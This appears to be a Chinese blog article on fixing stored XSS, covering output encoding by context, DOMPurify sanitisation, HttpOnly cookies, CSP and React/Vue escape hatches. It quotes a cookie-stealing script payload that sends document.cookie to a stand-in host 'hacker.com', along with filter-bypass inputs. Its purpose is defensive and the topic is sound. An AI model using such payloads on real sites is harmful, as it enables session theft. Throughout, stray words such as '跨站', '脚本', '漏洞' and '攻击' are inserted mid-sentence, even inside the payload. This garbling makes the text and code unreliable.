|
去年有个做电商的跨站朋友找我,说后台莫名其妙多出一堆管理员账号。脚本我让他把用户评论区的攻击代码调出来看,果不其然——有人在一段商品评价里塞了<script>fetch('//hacker.com/steal?漏洞c='+document.cookie)</script>。前端没做任何转义,修复这段脚本在管理员浏览评论时直接执行,跨站cookie就这么被偷了。脚本这就是攻击最典型的存储型XSS,攻击载荷被存进数据库,漏洞每次有人访问就触发一次。修复 修复XSS的跨站核心只有一条:永远不要信任用户输入,永远不要直接把用户数据当HTML渲染。脚本听起来简单,攻击但坑在于“渲染”这个动作可能发生在很多你意识不到的漏洞地方。 输出编码:按上下文选对方法 很多人以为把<换成<就万事大吉。修复不够。你得看数据最终出现在HTML的哪个位置。放进<div>标签之间,需要编码& < > " '这五个字符;放进href属性里,还得额外拦截javascript:伪协议;如果塞进<script>标签内的JS变量里,HTML实体编码根本没用,得用JS专用的转义规则。我见过一个项目在属性值里只做了HTML实体编码,结果攻击者用onmouseover=alert(1)照样弹窗。 Java生态里,OWASP的Java Encoder库能帮你按上下文自动选编码策略。Python的话,Jinja2模板默认开启自动转义,但如果你用了|safe过滤器或者Markup(),等于亲手把门打开。PHP的htmlspecialchars()必须显式指定ENT_QUOTES,否则单引号不转义,照样出事。 富文本场景:白名单比黑名单靠谱 评论区要支持加粗、链接、图片,就不能一刀切全转义。这时候用DOMPurify这类库做HTML净化。它的思路是白名单——只允许<b> <i> <a> <img>这些标签和有限的属性通过,其余全部剥掉。别自己写正则去过滤<script>,我试过,攻击者用<scr<script>ipt>这种嵌套写法就能绕过。DOMPurify在GitHub上有上万次提交,各种畸形标签的绕过案例都修补过了,比你自己造轮子强太多。 Cookie加HttpOnly,但别只靠它 给会话Cookie加上HttpOnly标志,JS就读不到document.cookie了。这能挡住cookie窃取,但挡不住XSS本身——攻击者依然可以伪造请求、篡改页面内容、发起钓鱼。我见过有人觉得加了HttpOnly就万事大吉,结果攻击者直接用XSS在页面里注入一个假的登录表单,照样骗到密码。HttpOnly是纵深防御的一层,不是替代品。 CSP:最后一道闸门 Content-Security-Policy响应头能告诉浏览器只执行来自特定来源的脚本。script-src 'self'意味着内联脚本和外部恶意域名统统不执行。配置得当的话,即使输出编码漏了一处,CSP也能兜住。但现实是很多老项目内联脚本满天飞,直接上CSP会把功能打挂。我的做法是新项目从第一天就上CSP,老项目先加Content-Security-Policy-Report-Only,收集一段时间违规报告,逐步清理内联脚本后再切到强制模式。 框架层面,React的JSX默认转义大括号里的内容,Vue的模板插值也是自动转义。但dangerouslySetInnerHTML和v-html这两个口子一开,框架的保护就失效了。我审查代码时看到这两个东西,一定会追问数据来源和净化逻辑。 说到底,XSS修复没有一劳永逸的银弹。输出编码是基本功,富文本净化是进阶题,CSP是保险绳。三层都做到位,才能把风险压到足够低。 |